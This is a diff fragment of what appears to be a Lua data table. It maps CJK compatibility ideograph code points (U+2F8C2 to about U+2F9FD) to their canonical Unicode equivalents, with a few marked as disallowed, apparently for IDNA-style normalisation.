+ [0x2F8C2] = 0x3A2E, -- CJK COMPATIBILITY IDEOGRAPH-2F8C2
+ [0x2F8C3] = 0x6469, -- CJK COMPATIBILITY IDEOGRAPH-2F8C3
+ [0x2F8C4] = 0x647E, -- CJK COMPATIBILITY IDEOGRAPH-2F8C4
+ [0x2F8C5] = 0x649D, -- CJK COMPATIBILITY IDEOGRAPH-2F8C5
+ [0x2F8C6] = 0x6477, -- CJK COMPATIBILITY IDEOGRAPH-2F8C6
+ [0x2F8C7] = 0x3A6C, -- CJK COMPATIBILITY IDEOGRAPH-2F8C7
+ [0x2F8C8] = 0x654F, -- CJK COMPATIBILITY IDEOGRAPH-2F8C8
+ [0x2F8C9] = 0x656C, -- CJK COMPATIBILITY IDEOGRAPH-2F8C9
+ [0x2F8CA] = 0x2300A, -- CJK COMPATIBILITY IDEOGRAPH-2F8CA
+ [0x2F8CB] = 0x65E3, -- CJK COMPATIBILITY IDEOGRAPH-2F8CB
+ [0x2F8CC] = 0x66F8, -- CJK COMPATIBILITY IDEOGRAPH-2F8CC
+ [0x2F8CD] = 0x6649, -- CJK COMPATIBILITY IDEOGRAPH-2F8CD
+ [0x2F8CE] = 0x3B19, -- CJK COMPATIBILITY IDEOGRAPH-2F8CE
+ [0x2F8CF] = 0x6691, -- CJK COMPATIBILITY IDEOGRAPH-2F8CF
+ [0x2F8D0] = 0x3B08, -- CJK COMPATIBILITY IDEOGRAPH-2F8D0
+ [0x2F8D1] = 0x3AE4, -- CJK COMPATIBILITY IDEOGRAPH-2F8D1
+ [0x2F8D2] = 0x5192, -- CJK COMPATIBILITY IDEOGRAPH-2F8D2
+ [0x2F8D3] = 0x5195, -- CJK COMPATIBILITY IDEOGRAPH-2F8D3
+ [0x2F8D4] = 0x6700, -- CJK COMPATIBILITY IDEOGRAPH-2F8D4
+ [0x2F8D5] = 0x669C, -- CJK COMPATIBILITY IDEOGRAPH-2F8D5
+ [0x2F8D6] = 0x80AD, -- CJK COMPATIBILITY IDEOGRAPH-2F8D6
+ [0x2F8D7] = 0x43D9, -- CJK COMPATIBILITY IDEOGRAPH-2F8D7
+ [0x2F8D8] = 0x6717, -- CJK COMPATIBILITY IDEOGRAPH-2F8D8
+ [0x2F8D9] = 0x671B, -- CJK COMPATIBILITY IDEOGRAPH-2F8D9
+ [0x2F8DA] = 0x6721, -- CJK COMPATIBILITY IDEOGRAPH-2F8DA
+ [0x2F8DB] = 0x675E, -- CJK COMPATIBILITY IDEOGRAPH-2F8DB
+ [0x2F8DC] = 0x6753, -- CJK COMPATIBILITY IDEOGRAPH-2F8DC
+ [0x2F8DD] = 0x233C3, -- CJK COMPATIBILITY IDEOGRAPH-2F8DD
+ [0x2F8DE] = 0x3B49, -- CJK COMPATIBILITY IDEOGRAPH-2F8DE
+ [0x2F8DF] = 0x67FA, -- CJK COMPATIBILITY IDEOGRAPH-2F8DF
+ [0x2F8E0] = 0x6785, -- CJK COMPATIBILITY IDEOGRAPH-2F8E0
+ [0x2F8E1] = 0x6852, -- CJK COMPATIBILITY IDEOGRAPH-2F8E1
+ [0x2F8E2] = 0x6885, -- CJK COMPATIBILITY IDEOGRAPH-2F8E2
+ [0x2F8E3] = 0x2346D, -- CJK COMPATIBILITY IDEOGRAPH-2F8E3
+ [0x2F8E4] = 0x688E, -- CJK COMPATIBILITY IDEOGRAPH-2F8E4
+ [0x2F8E5] = 0x681F, -- CJK COMPATIBILITY IDEOGRAPH-2F8E5
+ [0x2F8E6] = 0x6914, -- CJK COMPATIBILITY IDEOGRAPH-2F8E6
+ [0x2F8E7] = 0x3B9D, -- CJK COMPATIBILITY IDEOGRAPH-2F8E7
+ [0x2F8E8] = 0x6942, -- CJK COMPATIBILITY IDEOGRAPH-2F8E8
+ [0x2F8E9] = 0x69A3, -- CJK COMPATIBILITY IDEOGRAPH-2F8E9
+ [0x2F8EA] = 0x69EA, -- CJK COMPATIBILITY IDEOGRAPH-2F8EA
+ [0x2F8EB] = 0x6AA8, -- CJK COMPATIBILITY IDEOGRAPH-2F8EB
+ [0x2F8EC] = 0x236A3, -- CJK COMPATIBILITY IDEOGRAPH-2F8EC
+ [0x2F8ED] = 0x6ADB, -- CJK COMPATIBILITY IDEOGRAPH-2F8ED
+ [0x2F8EE] = 0x3C18, -- CJK COMPATIBILITY IDEOGRAPH-2F8EE
+ [0x2F8EF] = 0x6B21, -- CJK COMPATIBILITY IDEOGRAPH-2F8EF
+ [0x2F8F0] = 0x238A7, -- CJK COMPATIBILITY IDEOGRAPH-2F8F0
+ [0x2F8F1] = 0x6B54, -- CJK COMPATIBILITY IDEOGRAPH-2F8F1
+ [0x2F8F2] = 0x3C4E, -- CJK COMPATIBILITY IDEOGRAPH-2F8F2
+ [0x2F8F3] = 0x6B72, -- CJK COMPATIBILITY IDEOGRAPH-2F8F3
+ [0x2F8F4] = 0x6B9F, -- CJK COMPATIBILITY IDEOGRAPH-2F8F4
+ [0x2F8F5] = 0x6BBA, -- CJK COMPATIBILITY IDEOGRAPH-2F8F5
+ [0x2F8F6] = 0x6BBB, -- CJK COMPATIBILITY IDEOGRAPH-2F8F6
+ [0x2F8F7] = 0x23A8D, -- CJK COMPATIBILITY IDEOGRAPH-2F8F7
+ [0x2F8F8] = 0x21D0B, -- CJK COMPATIBILITY IDEOGRAPH-2F8F8
+ [0x2F8F9] = 0x23AFA, -- CJK COMPATIBILITY IDEOGRAPH-2F8F9
+ [0x2F8FA] = 0x6C4E, -- CJK COMPATIBILITY IDEOGRAPH-2F8FA
+ [0x2F8FB] = 0x23CBC, -- CJK COMPATIBILITY IDEOGRAPH-2F8FB
+ [0x2F8FC] = 0x6CBF, -- CJK COMPATIBILITY IDEOGRAPH-2F8FC
+ [0x2F8FD] = 0x6CCD, -- CJK COMPATIBILITY IDEOGRAPH-2F8FD
+ [0x2F8FE] = 0x6C67, -- CJK COMPATIBILITY IDEOGRAPH-2F8FE
+ [0x2F8FF] = 0x6D16, -- CJK COMPATIBILITY IDEOGRAPH-2F8FF
+ [0x2F900] = 0x6D3E, -- CJK COMPATIBILITY IDEOGRAPH-2F900
+ [0x2F901] = 0x6D77, -- CJK COMPATIBILITY IDEOGRAPH-2F901
+ [0x2F902] = 0x6D41, -- CJK COMPATIBILITY IDEOGRAPH-2F902
+ [0x2F903] = 0x6D69, -- CJK COMPATIBILITY IDEOGRAPH-2F903
+ [0x2F904] = 0x6D78, -- CJK COMPATIBILITY IDEOGRAPH-2F904
+ [0x2F905] = 0x6D85, -- CJK COMPATIBILITY IDEOGRAPH-2F905
+ [0x2F906] = 0x23D1E, -- CJK COMPATIBILITY IDEOGRAPH-2F906
+ [0x2F907] = 0x6D34, -- CJK COMPATIBILITY IDEOGRAPH-2F907
+ [0x2F908] = 0x6E2F, -- CJK COMPATIBILITY IDEOGRAPH-2F908
+ [0x2F909] = 0x6E6E, -- CJK COMPATIBILITY IDEOGRAPH-2F909
+ [0x2F90A] = 0x3D33, -- CJK COMPATIBILITY IDEOGRAPH-2F90A
+ [0x2F90B] = 0x6ECB, -- CJK COMPATIBILITY IDEOGRAPH-2F90B
+ [0x2F90C] = 0x6EC7, -- CJK COMPATIBILITY IDEOGRAPH-2F90C
+ [0x2F90D] = 0x23ED1, -- CJK COMPATIBILITY IDEOGRAPH-2F90D
+ [0x2F90E] = 0x6DF9, -- CJK COMPATIBILITY IDEOGRAPH-2F90E
+ [0x2F90F] = 0x6F6E, -- CJK COMPATIBILITY IDEOGRAPH-2F90F
+ [0x2F910] = 0x23F5E, -- CJK COMPATIBILITY IDEOGRAPH-2F910
+ [0x2F911] = 0x23F8E, -- CJK COMPATIBILITY IDEOGRAPH-2F911
+ [0x2F912] = 0x6FC6, -- CJK COMPATIBILITY IDEOGRAPH-2F912
+ [0x2F913] = 0x7039, -- CJK COMPATIBILITY IDEOGRAPH-2F913
+ [0x2F914] = 0x701E, -- CJK COMPATIBILITY IDEOGRAPH-2F914
+ [0x2F915] = 0x701B, -- CJK COMPATIBILITY IDEOGRAPH-2F915
+ [0x2F916] = 0x3D96, -- CJK COMPATIBILITY IDEOGRAPH-2F916
+ [0x2F917] = 0x704A, -- CJK COMPATIBILITY IDEOGRAPH-2F917
+ [0x2F918] = 0x707D, -- CJK COMPATIBILITY IDEOGRAPH-2F918
+ [0x2F919] = 0x7077, -- CJK COMPATIBILITY IDEOGRAPH-2F919
+ [0x2F91A] = 0x70AD, -- CJK COMPATIBILITY IDEOGRAPH-2F91A
+ [0x2F91B] = 0x20525, -- CJK COMPATIBILITY IDEOGRAPH-2F91B
+ [0x2F91C] = 0x7145, -- CJK COMPATIBILITY IDEOGRAPH-2F91C
+ [0x2F91D] = 0x24263, -- CJK COMPATIBILITY IDEOGRAPH-2F91D
+ [0x2F91E] = 0x719C, -- CJK COMPATIBILITY IDEOGRAPH-2F91E
+ [0x2F91F] = {status="disallowed"}, -- CJK COMPATIBILITY IDEOGRAPH-2F91F
+ [0x2F920] = 0x7228, -- CJK COMPATIBILITY IDEOGRAPH-2F920
+ [0x2F921] = 0x7235, -- CJK COMPATIBILITY IDEOGRAPH-2F921
+ [0x2F922] = 0x7250, -- CJK COMPATIBILITY IDEOGRAPH-2F922
+ [0x2F923] = 0x24608, -- CJK COMPATIBILITY IDEOGRAPH-2F923
+ [0x2F924] = 0x7280, -- CJK COMPATIBILITY IDEOGRAPH-2F924
+ [0x2F925] = 0x7295, -- CJK COMPATIBILITY IDEOGRAPH-2F925
+ [0x2F926] = 0x24735, -- CJK COMPATIBILITY IDEOGRAPH-2F926
+ [0x2F927] = 0x24814, -- CJK COMPATIBILITY IDEOGRAPH-2F927
+ [0x2F928] = 0x737A, -- CJK COMPATIBILITY IDEOGRAPH-2F928
+ [0x2F929] = 0x738B, -- CJK COMPATIBILITY IDEOGRAPH-2F929
+ [0x2F92A] = 0x3EAC, -- CJK COMPATIBILITY IDEOGRAPH-2F92A
+ [0x2F92B] = 0x73A5, -- CJK COMPATIBILITY IDEOGRAPH-2F92B
+ -- CJK COMPATIBILITY IDEOGRAPH-2F894..CJK COMPATIBILITY IDEOGRAPH-2F895
+ [0x2F894] = 0x5F22,
+ [0x2F895] = 0x5F22,
+ [0x2F92E] = 0x7447, -- CJK COMPATIBILITY IDEOGRAPH-2F92E
+ [0x2F92F] = 0x745C, -- CJK COMPATIBILITY IDEOGRAPH-2F92F
+ [0x2F930] = 0x7471, -- CJK COMPATIBILITY IDEOGRAPH-2F930
+ [0x2F931] = 0x7485, -- CJK COMPATIBILITY IDEOGRAPH-2F931
+ [0x2F932] = 0x74CA, -- CJK COMPATIBILITY IDEOGRAPH-2F932
+ [0x2F933] = 0x3F1B, -- CJK COMPATIBILITY IDEOGRAPH-2F933
+ [0x2F934] = 0x7524, -- CJK COMPATIBILITY IDEOGRAPH-2F934
+ [0x2F935] = 0x24C36, -- CJK COMPATIBILITY IDEOGRAPH-2F935
+ [0x2F936] = 0x753E, -- CJK COMPATIBILITY IDEOGRAPH-2F936
+ [0x2F937] = 0x24C92, -- CJK COMPATIBILITY IDEOGRAPH-2F937
+ [0x2F938] = 0x7570, -- CJK COMPATIBILITY IDEOGRAPH-2F938
+ [0x2F939] = 0x2219F, -- CJK COMPATIBILITY IDEOGRAPH-2F939
+ [0x2F93A] = 0x7610, -- CJK COMPATIBILITY IDEOGRAPH-2F93A
+ [0x2F93B] = 0x24FA1, -- CJK COMPATIBILITY IDEOGRAPH-2F93B
+ [0x2F93C] = 0x24FB8, -- CJK COMPATIBILITY IDEOGRAPH-2F93C
+ [0x2F93D] = 0x25044, -- CJK COMPATIBILITY IDEOGRAPH-2F93D
+ [0x2F93E] = 0x3FFC, -- CJK COMPATIBILITY IDEOGRAPH-2F93E
+ [0x2F93F] = 0x4008, -- CJK COMPATIBILITY IDEOGRAPH-2F93F
+ [0x2F940] = 0x76F4, -- CJK COMPATIBILITY IDEOGRAPH-2F940
+ [0x2F941] = 0x250F3, -- CJK COMPATIBILITY IDEOGRAPH-2F941
+ [0x2F942] = 0x250F2, -- CJK COMPATIBILITY IDEOGRAPH-2F942
+ [0x2F943] = 0x25119, -- CJK COMPATIBILITY IDEOGRAPH-2F943
+ [0x2F944] = 0x25133, -- CJK COMPATIBILITY IDEOGRAPH-2F944
+ [0x2F945] = 0x771E, -- CJK COMPATIBILITY IDEOGRAPH-2F945
+ -- CJK COMPATIBILITY IDEOGRAPH-2F92C..CJK COMPATIBILITY IDEOGRAPH-2F92D
+ [0x2F92C] = 0x3EB8,
+ [0x2F92D] = 0x3EB8,
+ [0x2F948] = 0x774A, -- CJK COMPATIBILITY IDEOGRAPH-2F948
+ [0x2F949] = 0x4039, -- CJK COMPATIBILITY IDEOGRAPH-2F949
+ [0x2F94A] = 0x778B, -- CJK COMPATIBILITY IDEOGRAPH-2F94A
+ [0x2F94B] = 0x4046, -- CJK COMPATIBILITY IDEOGRAPH-2F94B
+ [0x2F94C] = 0x4096, -- CJK COMPATIBILITY IDEOGRAPH-2F94C
+ [0x2F94D] = 0x2541D, -- CJK COMPATIBILITY IDEOGRAPH-2F94D
+ [0x2F94E] = 0x784E, -- CJK COMPATIBILITY IDEOGRAPH-2F94E
+ [0x2F94F] = 0x788C, -- CJK COMPATIBILITY IDEOGRAPH-2F94F
+ [0x2F950] = 0x78CC, -- CJK COMPATIBILITY IDEOGRAPH-2F950
+ [0x2F951] = 0x40E3, -- CJK COMPATIBILITY IDEOGRAPH-2F951
+ [0x2F952] = 0x25626, -- CJK COMPATIBILITY IDEOGRAPH-2F952
+ [0x2F953] = 0x7956, -- CJK COMPATIBILITY IDEOGRAPH-2F953
+ [0x2F954] = 0x2569A, -- CJK COMPATIBILITY IDEOGRAPH-2F954
+ [0x2F955] = 0x256C5, -- CJK COMPATIBILITY IDEOGRAPH-2F955
+ [0x2F956] = 0x798F, -- CJK COMPATIBILITY IDEOGRAPH-2F956
+ [0x2F957] = 0x79EB, -- CJK COMPATIBILITY IDEOGRAPH-2F957
+ [0x2F958] = 0x412F, -- CJK COMPATIBILITY IDEOGRAPH-2F958
+ [0x2F959] = 0x7A40, -- CJK COMPATIBILITY IDEOGRAPH-2F959
+ [0x2F95A] = 0x7A4A, -- CJK COMPATIBILITY IDEOGRAPH-2F95A
+ [0x2F95B] = 0x7A4F, -- CJK COMPATIBILITY IDEOGRAPH-2F95B
+ [0x2F95C] = 0x2597C, -- CJK COMPATIBILITY IDEOGRAPH-2F95C
+ -- CJK COMPATIBILITY IDEOGRAPH-2F946..CJK COMPATIBILITY IDEOGRAPH-2F947
+ [0x2F946] = 0x771F,
+ [0x2F947] = 0x771F,
+ [0x2F95F] = {status="disallowed"}, -- CJK COMPATIBILITY IDEOGRAPH-2F95F
+ [0x2F960] = 0x4202, -- CJK COMPATIBILITY IDEOGRAPH-2F960
+ [0x2F961] = 0x25BAB, -- CJK COMPATIBILITY IDEOGRAPH-2F961
+ [0x2F962] = 0x7BC6, -- CJK COMPATIBILITY IDEOGRAPH-2F962
+ [0x2F963] = 0x7BC9, -- CJK COMPATIBILITY IDEOGRAPH-2F963
+ [0x2F964] = 0x4227, -- CJK COMPATIBILITY IDEOGRAPH-2F964
+ [0x2F965] = 0x25C80, -- CJK COMPATIBILITY IDEOGRAPH-2F965
+ [0x2F966] = 0x7CD2, -- CJK COMPATIBILITY IDEOGRAPH-2F966
+ [0x2F967] = 0x42A0, -- CJK COMPATIBILITY IDEOGRAPH-2F967
+ [0x2F968] = 0x7CE8, -- CJK COMPATIBILITY IDEOGRAPH-2F968
+ [0x2F969] = 0x7CE3, -- CJK COMPATIBILITY IDEOGRAPH-2F969
+ [0x2F96A] = 0x7D00, -- CJK COMPATIBILITY IDEOGRAPH-2F96A
+ [0x2F96B] = 0x25F86, -- CJK COMPATIBILITY IDEOGRAPH-2F96B
+ [0x2F96C] = 0x7D63, -- CJK COMPATIBILITY IDEOGRAPH-2F96C
+ [0x2F96D] = 0x4301, -- CJK COMPATIBILITY IDEOGRAPH-2F96D
+ [0x2F96E] = 0x7DC7, -- CJK COMPATIBILITY IDEOGRAPH-2F96E
+ [0x2F96F] = 0x7E02, -- CJK COMPATIBILITY IDEOGRAPH-2F96F
+ [0x2F970] = 0x7E45, -- CJK COMPATIBILITY IDEOGRAPH-2F970
+ [0x2F971] = 0x4334, -- CJK COMPATIBILITY IDEOGRAPH-2F971
+ [0x2F972] = 0x26228, -- CJK COMPATIBILITY IDEOGRAPH-2F972
+ [0x2F973] = 0x26247, -- CJK COMPATIBILITY IDEOGRAPH-2F973
+ [0x2F974] = 0x4359, -- CJK COMPATIBILITY IDEOGRAPH-2F974
+ [0x2F975] = 0x262D9, -- CJK COMPATIBILITY IDEOGRAPH-2F975
+ [0x2F976] = 0x7F7A, -- CJK COMPATIBILITY IDEOGRAPH-2F976
+ [0x2F977] = 0x2633E, -- CJK COMPATIBILITY IDEOGRAPH-2F977
+ [0x2F978] = 0x7F95, -- CJK COMPATIBILITY IDEOGRAPH-2F978
+ [0x2F979] = 0x7FFA, -- CJK COMPATIBILITY IDEOGRAPH-2F979
+ [0x2F97A] = 0x8005, -- CJK COMPATIBILITY IDEOGRAPH-2F97A
+ [0x2F97B] = 0x264DA, -- CJK COMPATIBILITY IDEOGRAPH-2F97B
+ [0x2F97C] = 0x26523, -- CJK COMPATIBILITY IDEOGRAPH-2F97C
+ [0x2F97D] = 0x8060, -- CJK COMPATIBILITY IDEOGRAPH-2F97D
+ [0x2F97E] = 0x265A8, -- CJK COMPATIBILITY IDEOGRAPH-2F97E
+ [0x2F97F] = 0x8070, -- CJK COMPATIBILITY IDEOGRAPH-2F97F
+ [0x2F980] = 0x2335F, -- CJK COMPATIBILITY IDEOGRAPH-2F980
+ [0x2F981] = 0x43D5, -- CJK COMPATIBILITY IDEOGRAPH-2F981
+ [0x2F982] = 0x80B2, -- CJK COMPATIBILITY IDEOGRAPH-2F982
+ [0x2F983] = 0x8103, -- CJK COMPATIBILITY IDEOGRAPH-2F983
+ [0x2F984] = 0x440B, -- CJK COMPATIBILITY IDEOGRAPH-2F984
+ [0x2F985] = 0x813E, -- CJK COMPATIBILITY IDEOGRAPH-2F985
+ [0x2F986] = 0x5AB5, -- CJK COMPATIBILITY IDEOGRAPH-2F986
+ [0x2F987] = 0x267A7, -- CJK COMPATIBILITY IDEOGRAPH-2F987
+ [0x2F988] = 0x267B5, -- CJK COMPATIBILITY IDEOGRAPH-2F988
+ [0x2F989] = 0x23393, -- CJK COMPATIBILITY IDEOGRAPH-2F989
+ [0x2F98A] = 0x2339C, -- CJK COMPATIBILITY IDEOGRAPH-2F98A
+ [0x2F98B] = 0x8201, -- CJK COMPATIBILITY IDEOGRAPH-2F98B
+ [0x2F98C] = 0x8204, -- CJK COMPATIBILITY IDEOGRAPH-2F98C
+ [0x2F98D] = 0x8F9E, -- CJK COMPATIBILITY IDEOGRAPH-2F98D
+ [0x2F98E] = 0x446B, -- CJK COMPATIBILITY IDEOGRAPH-2F98E
+ [0x2F98F] = 0x8291, -- CJK COMPATIBILITY IDEOGRAPH-2F98F
+ [0x2F990] = 0x828B, -- CJK COMPATIBILITY IDEOGRAPH-2F990
+ [0x2F991] = 0x829D, -- CJK COMPATIBILITY IDEOGRAPH-2F991
+ [0x2F992] = 0x52B3, -- CJK COMPATIBILITY IDEOGRAPH-2F992
+ [0x2F993] = 0x82B1, -- CJK COMPATIBILITY IDEOGRAPH-2F993
+ [0x2F994] = 0x82B3, -- CJK COMPATIBILITY IDEOGRAPH-2F994
+ [0x2F995] = 0x82BD, -- CJK COMPATIBILITY IDEOGRAPH-2F995
+ [0x2F996] = 0x82E6, -- CJK COMPATIBILITY IDEOGRAPH-2F996
+ [0x2F997] = 0x26B3C, -- CJK COMPATIBILITY IDEOGRAPH-2F997
+ [0x2F998] = 0x82E5, -- CJK COMPATIBILITY IDEOGRAPH-2F998
+ [0x2F999] = 0x831D, -- CJK COMPATIBILITY IDEOGRAPH-2F999
+ [0x2F99A] = 0x8363, -- CJK COMPATIBILITY IDEOGRAPH-2F99A
+ [0x2F99B] = 0x83AD, -- CJK COMPATIBILITY IDEOGRAPH-2F99B
+ [0x2F99C] = 0x8323, -- CJK COMPATIBILITY IDEOGRAPH-2F99C
+ [0x2F99D] = 0x83BD, -- CJK COMPATIBILITY IDEOGRAPH-2F99D
+ [0x2F99E] = 0x83E7, -- CJK COMPATIBILITY IDEOGRAPH-2F99E
+ [0x2F99F] = 0x8457, -- CJK COMPATIBILITY IDEOGRAPH-2F99F
+ [0x2F9A0] = 0x8353, -- CJK COMPATIBILITY IDEOGRAPH-2F9A0
+ [0x2F9A1] = 0x83CA, -- CJK COMPATIBILITY IDEOGRAPH-2F9A1
+ [0x2F9A2] = 0x83CC, -- CJK COMPATIBILITY IDEOGRAPH-2F9A2
+ [0x2F9A3] = 0x83DC, -- CJK COMPATIBILITY IDEOGRAPH-2F9A3
+ [0x2F9A4] = 0x26C36, -- CJK COMPATIBILITY IDEOGRAPH-2F9A4
+ [0x2F9A5] = 0x26D6B, -- CJK COMPATIBILITY IDEOGRAPH-2F9A5
+ [0x2F9A6] = 0x26CD5, -- CJK COMPATIBILITY IDEOGRAPH-2F9A6
+ [0x2F9A7] = 0x452B, -- CJK COMPATIBILITY IDEOGRAPH-2F9A7
+ [0x2F9A8] = 0x84F1, -- CJK COMPATIBILITY IDEOGRAPH-2F9A8
+ [0x2F9A9] = 0x84F3, -- CJK COMPATIBILITY IDEOGRAPH-2F9A9
+ [0x2F9AA] = 0x8516, -- CJK COMPATIBILITY IDEOGRAPH-2F9AA
+ [0x2F9AB] = 0x273CA, -- CJK COMPATIBILITY IDEOGRAPH-2F9AB
+ [0x2F9AC] = 0x8564, -- CJK COMPATIBILITY IDEOGRAPH-2F9AC
+ [0x2F9AD] = 0x26F2C, -- CJK COMPATIBILITY IDEOGRAPH-2F9AD
+ [0x2F9AE] = 0x455D, -- CJK COMPATIBILITY IDEOGRAPH-2F9AE
+ [0x2F9AF] = 0x4561, -- CJK COMPATIBILITY IDEOGRAPH-2F9AF
+ [0x2F9B0] = 0x26FB1, -- CJK COMPATIBILITY IDEOGRAPH-2F9B0
+ [0x2F9B1] = 0x270D2, -- CJK COMPATIBILITY IDEOGRAPH-2F9B1
+ [0x2F9B2] = 0x456B, -- CJK COMPATIBILITY IDEOGRAPH-2F9B2
+ [0x2F9B3] = 0x8650, -- CJK COMPATIBILITY IDEOGRAPH-2F9B3
+ [0x2F9B4] = 0x865C, -- CJK COMPATIBILITY IDEOGRAPH-2F9B4
+ [0x2F9B5] = 0x8667, -- CJK COMPATIBILITY IDEOGRAPH-2F9B5
+ [0x2F9B6] = 0x8669, -- CJK COMPATIBILITY IDEOGRAPH-2F9B6
+ [0x2F9B7] = 0x86A9, -- CJK COMPATIBILITY IDEOGRAPH-2F9B7
+ [0x2F9B8] = 0x8688, -- CJK COMPATIBILITY IDEOGRAPH-2F9B8
+ [0x2F9B9] = 0x870E, -- CJK COMPATIBILITY IDEOGRAPH-2F9B9
+ [0x2F9BA] = 0x86E2, -- CJK COMPATIBILITY IDEOGRAPH-2F9BA
+ [0x2F9BB] = 0x8779, -- CJK COMPATIBILITY IDEOGRAPH-2F9BB
+ [0x2F9BC] = 0x8728, -- CJK COMPATIBILITY IDEOGRAPH-2F9BC
+ [0x2F9BD] = 0x876B, -- CJK COMPATIBILITY IDEOGRAPH-2F9BD
+ [0x2F9BE] = 0x8786, -- CJK COMPATIBILITY IDEOGRAPH-2F9BE
+ [0x2F9BF] = {status="disallowed"}, -- CJK COMPATIBILITY IDEOGRAPH-2F9BF
+ [0x2F9C0] = 0x87E1, -- CJK COMPATIBILITY IDEOGRAPH-2F9C0
+ [0x2F9C1] = 0x8801, -- CJK COMPATIBILITY IDEOGRAPH-2F9C1
+ [0x2F9C2] = 0x45F9, -- CJK COMPATIBILITY IDEOGRAPH-2F9C2
+ [0x2F9C3] = 0x8860, -- CJK COMPATIBILITY IDEOGRAPH-2F9C3
+ [0x2F9C4] = 0x8863, -- CJK COMPATIBILITY IDEOGRAPH-2F9C4
+ [0x2F9C5] = 0x27667, -- CJK COMPATIBILITY IDEOGRAPH-2F9C5
+ [0x2F9C6] = 0x88D7, -- CJK COMPATIBILITY IDEOGRAPH-2F9C6
+ [0x2F9C7] = 0x88DE, -- CJK COMPATIBILITY IDEOGRAPH-2F9C7
+ [0x2F9C8] = 0x4635, -- CJK COMPATIBILITY IDEOGRAPH-2F9C8
+ [0x2F9C9] = 0x88FA, -- CJK COMPATIBILITY IDEOGRAPH-2F9C9
+ [0x2F9CA] = 0x34BB, -- CJK COMPATIBILITY IDEOGRAPH-2F9CA
+ [0x2F9CB] = 0x278AE, -- CJK COMPATIBILITY IDEOGRAPH-2F9CB
+ [0x2F9CC] = 0x27966, -- CJK COMPATIBILITY IDEOGRAPH-2F9CC
+ [0x2F9CD] = 0x46BE, -- CJK COMPATIBILITY IDEOGRAPH-2F9CD
+ [0x2F9CE] = 0x46C7, -- CJK COMPATIBILITY IDEOGRAPH-2F9CE
+ [0x2F9CF] = 0x8AA0, -- CJK COMPATIBILITY IDEOGRAPH-2F9CF
+ [0x2F9D0] = 0x8AED, -- CJK COMPATIBILITY IDEOGRAPH-2F9D0
+ [0x2F9D1] = 0x8B8A, -- CJK COMPATIBILITY IDEOGRAPH-2F9D1
+ [0x2F9D2] = 0x8C55, -- CJK COMPATIBILITY IDEOGRAPH-2F9D2
+ [0x2F9D3] = 0x27CA8, -- CJK COMPATIBILITY IDEOGRAPH-2F9D3
+ [0x2F9D4] = 0x8CAB, -- CJK COMPATIBILITY IDEOGRAPH-2F9D4
+ [0x2F9D5] = 0x8CC1, -- CJK COMPATIBILITY IDEOGRAPH-2F9D5
+ [0x2F9D6] = 0x8D1B, -- CJK COMPATIBILITY IDEOGRAPH-2F9D6
+ [0x2F9D7] = 0x8D77, -- CJK COMPATIBILITY IDEOGRAPH-2F9D7
+ [0x2F9D8] = 0x27F2F, -- CJK COMPATIBILITY IDEOGRAPH-2F9D8
+ [0x2F9D9] = 0x20804, -- CJK COMPATIBILITY IDEOGRAPH-2F9D9
+ [0x2F9DA] = 0x8DCB, -- CJK COMPATIBILITY IDEOGRAPH-2F9DA
+ [0x2F9DB] = 0x8DBC, -- CJK COMPATIBILITY IDEOGRAPH-2F9DB
+ [0x2F9DC] = 0x8DF0, -- CJK COMPATIBILITY IDEOGRAPH-2F9DC
+ [0x2F9DD] = 0x208DE, -- CJK COMPATIBILITY IDEOGRAPH-2F9DD
+ [0x2F9DE] = 0x8ED4, -- CJK COMPATIBILITY IDEOGRAPH-2F9DE
+ [0x2F9DF] = 0x8F38, -- CJK COMPATIBILITY IDEOGRAPH-2F9DF
+ [0x2F9E0] = 0x285D2, -- CJK COMPATIBILITY IDEOGRAPH-2F9E0
+ [0x2F9E1] = 0x285ED, -- CJK COMPATIBILITY IDEOGRAPH-2F9E1
+ [0x2F9E2] = 0x9094, -- CJK COMPATIBILITY IDEOGRAPH-2F9E2
+ [0x2F9E3] = 0x90F1, -- CJK COMPATIBILITY IDEOGRAPH-2F9E3
+ [0x2F9E4] = 0x9111, -- CJK COMPATIBILITY IDEOGRAPH-2F9E4
+ [0x2F9E5] = 0x2872E, -- CJK COMPATIBILITY IDEOGRAPH-2F9E5
+ [0x2F9E6] = 0x911B, -- CJK COMPATIBILITY IDEOGRAPH-2F9E6
+ [0x2F9E7] = 0x9238, -- CJK COMPATIBILITY IDEOGRAPH-2F9E7
+ [0x2F9E8] = 0x92D7, -- CJK COMPATIBILITY IDEOGRAPH-2F9E8
+ [0x2F9E9] = 0x92D8, -- CJK COMPATIBILITY IDEOGRAPH-2F9E9
+ [0x2F9EA] = 0x927C, -- CJK COMPATIBILITY IDEOGRAPH-2F9EA
+ [0x2F9EB] = 0x93F9, -- CJK COMPATIBILITY IDEOGRAPH-2F9EB
+ [0x2F9EC] = 0x9415, -- CJK COMPATIBILITY IDEOGRAPH-2F9EC
+ [0x2F9ED] = 0x28BFA, -- CJK COMPATIBILITY IDEOGRAPH-2F9ED
+ [0x2F9EE] = 0x958B, -- CJK COMPATIBILITY IDEOGRAPH-2F9EE
+ [0x2F9EF] = 0x4995, -- CJK COMPATIBILITY IDEOGRAPH-2F9EF
+ [0x2F9F0] = 0x95B7, -- CJK COMPATIBILITY IDEOGRAPH-2F9F0
+ [0x2F9F1] = 0x28D77, -- CJK COMPATIBILITY IDEOGRAPH-2F9F1
+ [0x2F9F2] = 0x49E6, -- CJK COMPATIBILITY IDEOGRAPH-2F9F2
+ [0x2F9F3] = 0x96C3, -- CJK COMPATIBILITY IDEOGRAPH-2F9F3
+ [0x2F9F4] = 0x5DB2, -- CJK COMPATIBILITY IDEOGRAPH-2F9F4
+ [0x2F9F5] = 0x9723, -- CJK COMPATIBILITY IDEOGRAPH-2F9F5
+ [0x2F9F6] = 0x29145, -- CJK COMPATIBILITY IDEOGRAPH-2F9F6
+ [0x2F9F7] = 0x2921A, -- CJK COMPATIBILITY IDEOGRAPH-2F9F7
+ [0x2F9F8] = 0x4A6E, -- CJK COMPATIBILITY IDEOGRAPH-2F9F8
+ [0x2F9F9] = 0x4A76, -- CJK COMPATIBILITY IDEOGRAPH-2F9F9
+ [0x2F9FA] = 0x97E0, -- CJK COMPATIBILITY IDEOGRAPH-2F9FA
+ [0x2F9FB] = 0x2940A, -- CJK COMPATIBILITY IDEOGRAPH-2F9FB
+ [0x2F9FC] = 0x4AB2, -- CJK COMPATIBILITY IDEOGRAPH-2F9FC
+ [0x2F9FD] = 0x29496, -- CJK COMPATIBILITY IDEOGRAPH-2F9FD
+ -- CJK COMPATIBILITY IDEOGRAPH-2F95D..CJK COMPATIBILITY IDEOGRAPH-2F95E
+ [0x2F95D] = 0x25AA7,
